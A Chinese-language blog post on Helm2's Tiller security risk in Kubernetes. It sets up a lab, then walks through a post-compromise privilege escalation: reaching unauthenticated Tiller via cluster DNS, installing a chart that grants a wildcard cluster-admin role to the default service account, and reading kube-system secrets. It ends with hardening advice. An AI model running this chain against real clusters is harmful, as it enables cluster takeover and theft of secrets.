Kubernetes中使用Helm2的安全風險

2023-04-21 21:00:41

參考 http://rui0.cn/archives/1573

英文文章  https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/

叢集後滲透測試資源 https://blog.carnal0wnage.com/2019/01/kubernetes-master-post.html

Helm介紹:

Kubernetes是一個強大的容器排程系統,通常我們會使用一些宣告式的定義來在Kubernetes中部署業務。但是當我們開始部署比較複雜的多層架構時,事情往往就會沒有那麼簡單,在這種情況下,我們需要編寫和維護多個YAML檔案,同時在編寫時需要理清各種物件和層級關係。這是一個比較麻煩的事情,所以這個時候Helm出現了。

精選.png

我們熟悉的Python通過pip來管理包,Node.js使用npm管理包。那麼在Kubernetes,我們可以使用Helm來管理。它降低了使用Kubernetes的門檻,對於開發者可以很方便的使用Helm打包,管理依賴關係,使用者可以在自己的Kubernetes通過Helm來一鍵部署所需的應用。
對於Helm本身可以研究的安全風險可以從很多角度來看比如Charts,Image等,詳細的內容可以來看CNCF webinars關於Helm Security的一個分享(https://www.cncf.io/webinars/helm-security-a-look-below-deck/
本篇文章主要討論的是Helm2的安全風險,因為在Helm2開發的時候,Kubernetes的RBAC體系還沒有建立完成,Kubernetes社群直到2017年10月份v1.8版本才預設採用了RBAC許可權體系,所以Helm2的架構設計是存在一定安全風險的。

Helm3是在Helm2之上的一次大更改,於2019年11月份正式推出,同時Helm2開始退出歷史舞臺,到2020年的11月開始停止安全更新。但是目前網路上主流依然為關於Helm2的安裝設定文章,所以我們這裡將對使用Helm2可能造成的安全風險進行討論。

Helm2架構

Helm2是CS架構,包括使用者端和伺服器端,即Client和Tiller

Helm Client主要負責跟使用者進行互動,通過命令列就可以完成Chart的安裝、升級、刪除等操作。在收到前端的命令後就可以傳輸給後端的Tiller使之與叢集通訊。
其中Tiller是Helm的伺服器端主要用來接收Helm Client的請求,它們的請求是通過gRPC來傳輸。實際上它的主要作用就是在Helm2和Kubernetes叢集中起到了一箇中間人的轉發作用,Tiller可以完成部署Chart,管理Release以及在Kubernetes中建立應用。
官方在更新到Helm3中這樣說過:

從kubernetes 1.6開始預設開啟RBAC。這是Kubernetes安全性/企業可用的一個重要特性。但是在RBAC開啟的情況下管理及設定Tiller變的非常複雜。為了簡化Helm的嘗試成本我們給出了一個不需要關注安全規則的預設設定。但是,這會導致一些使用者意外獲得了他們並不需要的許可權。並且,管理員/SRE需要學習很多額外的知識才能將Tiller部署的到關注安全的生產環境的多租戶K8S叢集中並使其正常工作。

所以通過我們瞭解在Helm2這種架構設計下Tiller元件通常會被設定為非常高的許可權,也因此會造成安全風險。

  1. 對外暴露埠
  2. 擁有和Kubernetes通訊時的高許可權(可以進行建立,修改和刪除等操作)

因此對於目前將使用Helm的人員請安裝Helm3,對於Helm2的使用者請儘快升級到Helm3。針對Helm3,最大的變化就是移除掉Tiller,由此大大簡化了Helm的安全模型實現方式。Helm3現在可以支援所有的kubernetes認證及鑑權等全部安全特性。Helm和原生的kubeconfig flie中的設定使用一致的許可權。管理員可以按照自己認為合適的粒度來管理使用者許可權。

安全風險復現

設定Helm2

參考 https://www.cnblogs.com/keithtt/p/13171160.html

官方檔案有helm2的快速安裝 https://v2.helm.sh/docs/using_helm/

1、使用二進位制安裝包安裝helm使用者端

wget https://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gz
tar xvf helm-v2.16.9-linux-amd64.tar.gz
cd linux-amd64
cp -a helm /usr/local/bin/
 

2、設定命令列自動補全

echo "source <(helm completion bash)" >> ~/.bashrc

3、安裝tiller伺服器端

建立服務賬戶ServiceAccount:

由於目前K8s都預設啟用基於角色的存取控制RBAC,因此,需要為TillerPod建立一個具有正確角色和資源存取許可權的ServiceAccount,參考 https://v2.helm.sh/docs/using_helm/ 以及 https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/

Tiller Pod需要提升許可權才能與Kubernetes API通訊,對服務賬戶許可權的管理通常很棘手且被忽視,因此啟動和執行的最簡單方法是為Tiller建立一個具有完整叢集官員許可權的服務賬戶。

要建立具有cluster-admin許可權的ServiceAccount,在YAML中定義一個新的ServiceAccount和ClutserRoleBinding資原始檔:

這個操作建立了名為tiller的ServiceAccount,並生成一個secrets token認證檔案,為該賬戶提供完整的叢集管理員許可權。

# 建立名為tiller的ServiceAccount 並繫結搭配叢集管理員 cluster-admin
apiVersion: v1
kind: ServiceAccount
metadata:
  name: tiller
  namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: tiller
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
  - kind: ServiceAccount
    name: tiller
    namespace: kube-system
# 建立
kubectl apply -f helm-rbac.yam
 

4、初始化Helm

使用新ServiceAccount服務賬號初始化Helm,

--tiller-image 指定使用的 Tiller 映象

--stable-repo-url string 指定穩定儲存庫的 URL(預設為 "https://kubernetes-charts.storage.googleapis.com"),這裡指定了 Azure 中國的 Helm 倉庫地址來加速 Helm 包的下載。

helm init --service-account tiller --tiller-image=registry.cn-hangzhou.aliyuncs.com/google_containers/tiller:v2.16.6 --stable-repo-url http://mirror.azure.cn/kubernetes/charts
kubectl get deployment tiller-deploy -n kube-system
helm version
Client: &version.Version{SemVer:"v2.16.9", GitCommit:"8ad7037828e5a0fca1009dabe290130da6368e39", GitTreeState:"clean"}
Server: &version.Version{SemVer:"v2.16.6", GitCommit:"dd2e5695da88625b190e6b22e9542550ab503a47", GitTreeState:"clean"}

這個命令會設定使用者端,並且在kube-system名稱空間中為Tiller建立deployment和service,標籤為label app=helm

kubectl -n kube-system get all -l 'app=helm'
 

也可以檢視Tiller deployment被設定為叢集管理員服務賬號tiller,命令:

kubectl -n kube-system get deployments -l 'app=helm' -o jsonpath='{.items[0].spec.template.spec.serviceAccount}'

5、新增repo,這裡需要更改為可用的映象源

1)官方映象源為 https://charts.helm.sh/stable 

設定官方映象源命令: helm repo add stable https://charts.helm.sh/stable

2)GitPage映象:參考 https://github.com/BurdenBear/kube-charts-mirror 搭建一個自主可控的映象源 (參考2 http://charts.ost.ai/

3)Aliyun映象:長時間未更新,版本較舊  

helm repo add stable  https://kubernetes.oss-cn-hangzhou.aliyuncs.com/charts/

4)Azure映象源(有部落格說2021.7.8已不可用,但親測可用)

helm repo add stable http://mirror.azure.cn/kubernetes/charts/
helm repo add incubator http://mirror.azure.cn/kubernetes/charts-incubator/
 

這裡用Azure的映象源(阿里映象源過於老,只支援  extensions/v1beta1 版本的 Deployment 物件)

helm repo add stable http://mirror.azure.cn/kubernetes/charts/
# 檢視repo設定列表
helm repo list

6、更新repo

 
helm repo update

7、安裝一個app   

helm install stable/nginx-ingress --name nginx-ingress --namespace nginx-ingress
helm install stable/owncloud --name owncloud --namespace owncloud
helm ls -a

8、刪除一個app

helm delete --purge owncloud
 

9、解除安裝helm(tiller)

helm reset --force
kubectl delete service/tiller-deploy -n kube-system
kubectl delete deployment.apps/tiller-deploy -n kube-system

建立應用

上面成功安裝Helm2之後,可以看到Tiller已被部署到Kube-system的名稱空間下

通過Helm來部署應用,helm install stable/tomcat --name my-tomcat

在沒有使用其他flag時,Tiller將所有資源部署到default名稱空間中,–name欄位將作為release標籤應用到資源上,因此可以使用 kubectl get all -l 'release=my-tomcat' 這個命令檢視Helm部署的名為my-tomcat的所有資源

Helm通過LoadBalancer服務為我們暴露埠,因此我們如果存取列出的EXTERNAL-IP,可以看到tomcat啟動並執行

檢視部署情況

 

模擬入侵

針對叢集內的攻擊,模擬Tomcat服務被入侵,攻擊者拿到了容器的控制權。

通過exec進入容器內:kubectl exec -it my-tomcat-b976c48b6-rfzv8 -- /bin/bash

登入shell後,有幾個指標可以快速判斷這是一個執行在K8s叢集上的容器:

  •  /.dockerenv 檔案存在,說明我們在Docker容器裡
  • 有幾個Kubernetes相關的環境變數

叢集後滲透利用有個很好的總結可以參考    https://blog.carnal0wnage.com/2019/01/kubernetes-master-post.html

在k8s環境下的滲透,通常會首先看其中的環境變數,獲取叢集的相關資訊,服務位置以及一些敏感組態檔

瞭解了k8s API等位置後我們可以通過curl等方式去嘗試請求,看是否設定授權,是403禁止匿名存取的;即使我們可以和Kubernetes API互動,但是因為RBAC啟用,我們無法獲取任何資訊

服務偵查

預設情況下,k8s使用kube-dns,檢視/etc/resolv.conf可以看到此pod設定使用kube-dns。因為kube-dns中的DNS名遵循這個格式:<svc_name>.<namespace>.svc.cluster.local

利用這個域名解析,我們能夠找到其他一些服務,雖然我們在default名稱空間中,但重要的是namespace不提供任何安全保障,預設情況下,沒有阻止跨名稱空間通訊的網路策略。

這裡我們可以查詢在kube-system名稱空間下執行的服務,如kube-dns服務本身:注意我們使用的是getent查詢域名,因為pod中可能沒安裝任何標準的dns工具。

$ getent hosts kube-dns.kube-system.svc.cluster.local
10.96.0.10      kube-dns.kube-system.svc.cluster.local

通過DNS列舉其他namespace下正在執行的服務。Tiller在名稱空間kube-system中如何建立服務的?它預設名稱為tiller-deploy,如果我們用DNS查詢可以看到存在的位置。

很好,Tiller安裝在了叢集中,如何濫用它呢 

瞭解Helm與K8s叢集通訊方式

Helm 與 kubernetes 叢集通訊的方式是通過 gRPC 與tiller-deploy pod 通訊。然後,pod 使用其服務帳戶token與 Kubernetes API 通訊。當用戶端執行Helm命令時,實際上是通過埠轉發到叢集中,直接與tiller-deploy  Service通訊該Service始終指向TCP 44134 上的tiller-deploy Pod這種方式可以讓Helm命令直接與Tillerr-deploy Pod進行互動,而不必暴露K8s API的直接存取許可權給Helm使用者端。

也就是說,叢集外的使用者必須有能力轉發存取到叢集的埠,因為TCP 44134埠無法從叢集外部存取。

然而,對於在K8s叢集內的使用者而言,44134 TCP埠是可存取的,不用埠轉發。

用curl驗證埠是否開啟: curl tiller-deploy.kube-system.svc.cluster.local:44134 

curl失敗,但能connect成功連線,因為此端點是與gRPC通訊,而不是HTTP。

目前已知我們可以存取埠,如果我們可以傳送正確的資訊,則可以直接與Tiller通訊,因為預設情況下,Tiller不需要進行任何身份驗證就可以與gRPC通訊。在這個預設安裝中Tiller以叢集管理員許可權執行,基本上可以在沒有任何身份驗證的情況下執行叢集管理命令。

與Tiller通過gRPC通訊

所有 gRPC 端點都以Protobuf 格式在原始碼中定義,因此任何人都可以建立使用者端來與 API 通訊。但是與 Tiller 通訊的最簡單方法就是通過普通的 Helm 使用者端,它無論如何都是靜態二進位制檔案。

在pod 上,我們可以helm官方版本下載二進位制檔案。下載並解壓到 /tmp:注意可能需要指定下載特定版本。

Helm 提供了 --host 和 HELM_HOST 環境變數選項,可以指定直接連線到 Tiller 的地址。通過使用 Tiller-deploy Service 的完全限定域名(FQDN),我們可以直接與 Tiller Pod 進行通訊並執行任意 Helm 命令。

./helm --host tiller-deploy.kube-system.svc.cluster.local:44134 ls

這樣我們可以完全控制Tiller,可以做cluster-admin可以用Helm做的任何事情。包括安裝 升級 刪除版本。但我們仍然不能直接與K8s API通訊,所以我們需要濫用Tiller來升級許可權成為完整的cluster-admin

針對Helm-Tiller攻擊

1、首先通過DNS檢視是否存在Tiller服務。為了互動,Tiller的埠會被開放到叢集內,根據命名規則我們可以嘗試預設Tiller的名稱

 curl tiller-deploy.kube-system:44134 --output out

可以看到埠是開放的,不過因為連線時通過gRPC的方式互動,所以使用HTTP無法連線。同時在這種情況下我們可以連線Tiller,通過它可以在沒有身份驗證的情況下執行k8s內的操作

我們可以通過gRPC方式使用Protobuf格式來與其互動,但是過於麻煩。

這裡最簡單的方式是我們通過Client直接與Tiller連線

2、下載helm使用者端到tmp目錄下:

wget https://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gz  && tar xvf helm-v2.16.9-linux-amd64.tar.gz

嘗試請求tiller:./helm --host tiller-deploy.kube-system:44134 version

連線成功

這意味著我們可以做很多事情。

一個較為麻煩的方式是:比如竊取高許可權使用者的token,因為我們可以控制tiller意味著我們可以使用這個許可權的賬戶來建立pod,從而獲取建立pod後,能夠獲取到建立pod的token。掛載在pod內路徑下/var/run/secrets/kubernetes.io/serviceaccount/token。這個token在建立對應pod時被掛載,可以利用這個token完成對k8s的互動。

更加簡單粗暴的方式:

1)先下載一個kubectl方便後期互動

檢視當前許可權可以做的事情 kubectl auth can-i --list

2)檢視當前許可權能否讀取secrets

./kubectl get secrets -n kube-system

看到目前許可權不夠,我們想要獲取到整個叢集的許可權,即我們希望有一個可以存取所有namespace的ServiceAccount。我們可以把default這個SA賦予ClutsterRole RBAC中的全部許可權。

3、這時候需要使用ClusterRole和ClusterRoleBinding這兩種物件

  • ClusterRole
    ClusterRole物件可以授予整個叢集範圍內資源存取許可權, 也可以對以下幾種資源的授予存取許可權:
    • 叢集範圍資源(例如節點,即node)
    • 非資源型別endpoint(例如」/healthz」)
    • 跨所有namespaces的範圍資源(例如pod,需要執行命令kubectl get pods –all-namespaces來查詢叢集中所有的pod)
  • ClusterRoleBinding
    ClusterRoleBinding在整個叢集級別和所有namespaces將特定的subject與ClusterRole繫結,授予許可權。

建立兩個資源:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: all-your-base
rules:
  - apiGroups: ["*"]
    resources: ["*"]
    verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: belong-to-us
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: all-your-base
subjects:
  - kind: ServiceAccount
    namespace: {{ .Values.namespace }}
    name: {{ .Values.name }}

將它們生成為對應的chart,並下載到被攻擊的容器中,之後使用Client進行安裝,設定之後便可以進行高許可權操作

4、生成charts並安裝的過程:

在 Helm 中,可以使用 helm create 命令建立一個新的 Chart,並使用 helm package 命令將 Chart 打包成一個 .tgz 檔案,可以在其他機器上使用 helm install 命令來安裝該 Chart。

以下是一個簡單的範例,演示如何建立一個名為 mychart 的 Chart 並將其打包:

  1. 建立 Chart,該命令將會在當前目錄下建立一個 mychart 目錄,包含 Chart 所需的模板和範例檔案。

    在命令列中執行以下命令,建立一個名為 mychart 的 Chart:$ helm create mychart

  2. 修改 Chart

    在 mychart 目錄中,可以根據需要修改 Chart.yamlvalues.yaml 和 templates 目錄中的模板檔案,以定義 Chart 所包含的應用程式、服務和資源等。

  3. 打包 Chart,該命令將會在當前目錄下生成一個名為 mychart-x.x.x.tgz 的檔案,其中 x.x.x 表示 Chart 的版本號。

    在命令列中執行以下命令,將 Chart 打包成一個 .tgz 檔案:$ helm package mychart

  4. 下載 Chart:$ helm install mychart mychart-x.x.x.tgz

    可以將生成的 .tgz 檔案複製到其他機器上,然後使用 helm install 命令來安裝 Chart。例如,執行以下命令將 Chart 安裝到 Kubernetes 叢集中;

    其中 mychart 是 Chart 的名稱,mychart-x.x.x.tgz 是 Chart 打包後的檔名。

直接使用 https://github.com/Ruil1n/helm-tiller-pwn 這裡打包好的檔案就行

如果有報錯提示,需要修改charts打包檔案中的模板內容,為支援的版本

錯誤提示通常是由於 Kubernetes API Server 不支援 rbac.authorization.k8s.io/v1beta1 版本的 ClusterRole 和 ClusterRoleBinding 物件引起的。

這是因為從 Kubernetes 1.22 開始,rbac.authorization.k8s.io/v1beta1 版本的 ClusterRole 和 ClusterRoleBinding 已經被廢棄,並在 Kubernetes 1.22 版本中已經完全刪除。

./helm --host  tiller-deploy.kube-system:44134 install pwnchart

可以看到我們提升許可權成功,現在已經能夠獲取到kube-system下的secrets,同時可以進行其他操作。

總結

Helm簡化了Kubernetes應用的部署和管理,越來越多的人在生產環境中使用它來部署和管理應用。Helm3是在Helm2之上的一次大更改,主要就是移除了Tiller。由於Helm2基本是去年(2020)年末才完全停止支援,目前仍有大量開發者在使用,所以依舊存在大量安全風險。本文主要從叢集內攻擊的角度來展示了使用Tiller獲取Kubernetes的高許可權並且完成敏感操作。
最後我們來說一下如何防禦,如果你堅持希望使用Tiller,那麼請一定要注意不要對外開放埠,同時設定TLS認證以及嚴格的RBAC認證(https://github.com/michelleN/helm-tiller-rbac)。這裡更建議大家儘快升級Helm2到Helm3以及直接使用Helm3。